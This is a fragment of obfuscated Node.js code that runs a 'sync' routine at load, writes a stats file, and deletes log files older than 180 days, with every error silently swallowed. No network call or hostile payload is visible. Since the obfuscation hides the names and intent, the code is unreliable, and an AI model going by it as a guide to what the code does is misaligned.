_0x2fd0f2){if(!_0x302324['synced'])_0x302324[_0x1c2880(0x179)]=!![];}try{fs[_0x1c2880(0x140)](statsPath,JSON[_0x1c2880(0x159)](_0x2fd0f2,null,0x2),_0x1c2880(0x12f));}catch{}markSyncedToday(),pruneOldLogs(_0x2fd0f2);}function pruneOldLogs(_0x137e78){const _0x53a025=a0_0x50b377;try{const _0x4d202d=new Date(),_0x208ef1=new Date(_0x4d202d['getTime']()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x142695=[],_0x35d717=[];for(const _0x596d03 of _0x137e78){const _0x5a8903=new Date(_0x596d03[_0x53a025(0x164)]);_0x5a8903>=_0x208ef1?_0x142695['push'](_0x596d03):_0x35d717[_0x53a025(0x181)](_0x596d03);}if(_0x35d717[_0x53a025(0x12d)]>0x0){const _0x1f1c4d=path['join'](baseDir,_0x53a025(0x177));for(const _0x463aef of _0x35d717){const _0x529b94=path[_0x53a025(0x14b)](_0x1f1c4d,_0x463aef['id']+_0x53a025(0x134)),_0x58b08b=path[_0x53a025(0x14b)](_0x1f1c4d,_0x463aef['id']+'.comp.txt');try{if(fs[_0x53a025(0x146)](_0x529b94))fs[_0x53a025(0x182)](_0x529b94);if(fs[_0x53a025(0x146)](_0x58b08b))fs['unlinkSync'](_0x58b08b);}catch{}}fs[_0x53a025(0x140)](statsPath,JSON['stringify'](_0x142695,null,0x2),_0x53a025(0x12f));}}catch{}}runSync()[a0_0x50b377(0x143)](()=>{});